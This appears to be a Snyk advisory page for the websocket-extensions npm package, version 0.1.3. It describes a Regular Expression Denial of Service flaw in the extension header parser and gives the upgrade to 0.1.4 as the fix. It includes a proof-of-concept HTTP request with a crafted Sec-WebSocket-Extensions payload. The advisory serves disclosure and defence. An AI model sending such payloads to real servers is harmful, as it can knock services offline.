websocket-extensions@0.1.3 vulnerabilities

Generic extension manager for WebSocket connections

  • latest version

    0.1.4

  • latest non vulnerable version

  • first published

    10 years ago

  • latest version published

    4 years ago

  • licenses detected

    • >=0.1.0 <0.1.4
  • Direct Vulnerabilities

    Known vulnerabilities in the websocket-extensions package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Regular Expression Denial of Service (ReDoS)

    websocket-extensions is a Generic extension manager for WebSocket connections

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The EXT_LIST variable within extension parser may take quadratic time when parsing literal backslash (\) followed by any character, resulting in backtracking.

    This could be abused by an attacker to conduct Regex Denial Of Service (ReDoS) on a single-threaded server by providing a malicious payload with the Sec-WebSocket-Extensions header.

    PoC by Robert McLaughlin

    GET / HTTP/1.1
    Host: localhost:8081
    Sec-WebSocket-Version: 13
    Sec-WebSocket-Extensions: foo;bar="fooa\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a
    Sec-WebSocket-Key: nqCLn4uQ/wUGGLtjAILmxQ==
    Connection: keep-alive, Upgrade
    Upgrade: websocket
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade websocket-extensions to version 0.1.4 or higher.

    <0.1.4